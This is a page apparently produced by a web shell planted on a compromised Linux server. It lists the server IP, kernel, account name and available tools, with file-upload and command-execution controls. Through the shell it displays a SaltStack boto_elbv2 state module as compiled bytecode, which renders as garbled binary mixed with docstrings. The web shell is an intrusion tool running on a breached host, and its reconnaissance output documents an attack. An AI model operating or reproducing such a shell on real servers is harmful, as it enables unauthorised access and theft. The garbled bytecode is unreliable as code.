403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/states/__pycache__/boto_elbv2.cpython-310.pyc
o

;j0�@sldZddlZddlZe�e�Zdd�Z													
ddd�Zdd
d�Z	ddd�Z		ddd�Z
dS)a`
Manage AWS Application Load Balancer

.. versionadded:: 2017.7.0

Add and remove targets from an ALB target group.

This module uses ``boto3``, which can be installed via package, or pip.

This module accepts explicit alb credentials but can also utilize
IAM roles assigned to the instance through Instance Profiles. Dynamic
credentials are then automatically obtained from AWS API and no further
configuration is necessary. More information available `here
<http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html>`_.

If IAM roles are not used you need to specify them either in a pillar file or
in the minion's config file:

.. code-block:: yaml

    elbv2.keyid: GKTADJGHEIQSXMKKRBJ08H
    elbv2.key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs
    elbv2.region: us-west-2

It's also possible to specify ``key``, ``keyid`` and ``region`` via a profile, either
passed in as a dict, or as a string to pull from pillars or minion config:

.. code-block:: yaml

    myprofile:
        keyid: GKTADJGHEIQSXMKKRBJ08H
        key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs
        region: us-east-1
�NcCsdtvrdSdS)z)
    Only load if boto is available.
    �boto_elbv2.target_group_existsZ
boto_elbv2)Fz?The boto_elbv2 module cannot be loaded: boto3 library not found)�__salt__�rr�J/opt/saltstack/salt/lib/python3.10/site-packages/salt/states/boto_elbv2.py�__virtual__*sr�HTTP�traffic-port�/���cKs�|ddid�}td|||||�rd|d<d|�d�|d	<|Std
r-d|�d�|d	<|Std||||f||||||	|
|||
|d
�|��}|r\||dd<d|d<d|�d�|d	<|Sd|d<d|�d�|d	<|S)a�
    .. versionadded:: 2017.11.0

    Create target group if not present.

    name
        (string) - The name of the target group.
    protocol
        (string) - The protocol to use for routing traffic to the targets
    port
        (int) - The port on which the targets receive traffic. This port is used unless
        you specify a port override when registering the traffic.
    vpc_id
        (string) - The identifier of the virtual private cloud (VPC).
    health_check_protocol
        (string) - The protocol the load balancer uses when performing health check on
        targets. The default is the HTTP protocol.
    health_check_port
        (string) - The port the load balancer uses when performing health checks on
        targets. The default is 'traffic-port', which indicates the port on which each
        target receives traffic from the load balancer.
    health_check_path
        (string) - The ping path that is the destination on the targets for health
        checks. The default is /.
    health_check_interval_seconds
        (integer) - The approximate amount of time, in seconds, between health checks
        of an individual target. The default is 30 seconds.
    health_check_timeout_seconds
        (integer) - The amount of time, in seconds, during which no response from a
        target means a failed health check. The default is 5 seconds.
    healthy_threshold_count
        (integer) - The number of consecutive health checks successes required before
        considering an unhealthy target healthy. The default is 5.
    unhealthy_threshold_count
        (integer) - The number of consecutive health check failures required before
        considering a target unhealthy. The default is 2.

    returns
        (bool) - True on success, False on failure.

    CLI Example:

    .. code-block:: yaml

        create-target:
          boto_elb2.create_targets_group:
            - name: myALB
            - protocol: https
            - port: 443
            - vpc_id: myVPC
    N���name�result�comment�changesrTr�
Target Group z already existsr�testz will be createdzboto_elbv2.create_target_group)�region�key�keyid�profile�health_check_protocol�health_check_port�health_check_path�health_check_interval_seconds�health_check_timeout_seconds�healthy_threshold_count�unhealthy_threshold_countr�target_groupz createdFz creation failed�r�__opts__)r�protocol�portZvpc_idrrrrrrrrrrr�kwargs�ret�staterrr�create_target_group3sHE����r(cCs�|ddid�}td|||||�sd|d<d|�d�|d	<|Std
r-d|�d�|d	<|Std|||||d
�}|rNd|d<||dd<d|�d�|d	<|Sd|d<d|�d�|d	<|S)a�
    Delete target group.

    name
        (string) - The Amazon Resource Name (ARN) of the resource.

    returns
        (bool) - True on success, False on failure.

    CLI Example:

    .. code-block:: bash

        check-target:
          boto_elb2.delete_targets_group:
            - name: myALB
            - protocol: https
            - port: 443
            - vpc_id: myVPC
    Nr
rrTrrz does not existsrrz will be deletedzboto_elbv2.delete_target_group�rrrrrr z deletedFz deletion failedr!)rrrrrr&r'rrr�delete_target_group�s*
�
��r*c	Ks�|ddid�}td|||||�r�td|||||d�}d}	d}
t�|�}t|t�r-|g}|D]L}||vrO|�|�dkrO|d	d
�|||�|d	<d|d<q/td
r]d}
|�|di�q/td||||||d�}
|
rrd}
d|d<q/d�|�|d	<d}	q/|	r�d|d<|
r�||dd<td
r�d|�d�|d	<d|d<||dd<|Sd|�d�|d	<td|||||d�}||dd<|Sd|��|d	<|S)a7
    .. versionadded:: 2017.7.0

    Add targets to an Application Load Balancer target group. This state will not remove targets.

    name
        The ARN of the Application Load Balancer Target Group to add targets to.

    targets
        A list of target IDs or a string of a single target that this target group should
        distribute traffic to.

    .. code-block:: yaml

        add-targets:
          boto_elb.targets_registered:
            - name: arn:myloadbalancer
            - targets:
              - instance-id1
              - instance-id2
    Nr
rr�!boto_elbv2.describe_target_healthr)F�drainingrz*Target/s {} already registered and is {}.
Trr�initialzboto_elbv2.register_targetsz%Target Group {} failed to add targetsr�oldr� would be changed�new� has been changed�Could not find target group )r�copy�
isinstance�str�get�formatr"�update�r�targetsrrrrr%r&ZhealthZfailurerZnewhealth_mock�targetr'Z	newhealthrrr�targets_registered�sn
�

���
�
��
�r<c	Ks�|ddid�}td|||||�r�td|||||d�}d}	d}
t�|�}t|t�r-|g}|D]K}||vs<|�|�dkrM|d	d
|�d�|d	<d|d
<q/tdr[d}
|�|di�q/td||||||d�}
|
rpd}
d|d
<q/d|�d�|d	<d}	q/|	r�d|d
<|
r�||dd<tdr�d|�d�|d	<d|d
<||dd<|Sd|�d�|d	<td|||||d�}||dd<|Sd|��|d	<|S)a
    Remove targets to an Application Load Balancer target group.

    name
        The ARN of the Application Load Balancer Target Group to remove targets from.

    targets
        A list of target IDs or a string of a single target registered to the target group to be removed

    .. versionadded:: 2017.7.0

    .. code-block:: yaml

        remove-targets:
          boto_elb.targets_deregistered:
            - name: arn:myloadbalancer
            - targets:
              - instance-id1
              - instance-id2
    Nr
rrr+r)Fr,rz	Target/s z already deregistered
Trrzboto_elbv2.deregister_targetsrz failed to remove targetsrr.r/r0r1r2)rr3r4r5r6r"r8r9rrr�targets_deregistered&s`
�

�
�
�
�r=)NNNNrrr	r
rrr)NNNN)�__doc__r3�logging�	getLogger�__name__�logrr(r*r<r=rrrr�<module>s,#

�
m1
�W�

Youez - 2016 - github.com/yon3zu
LinuXploit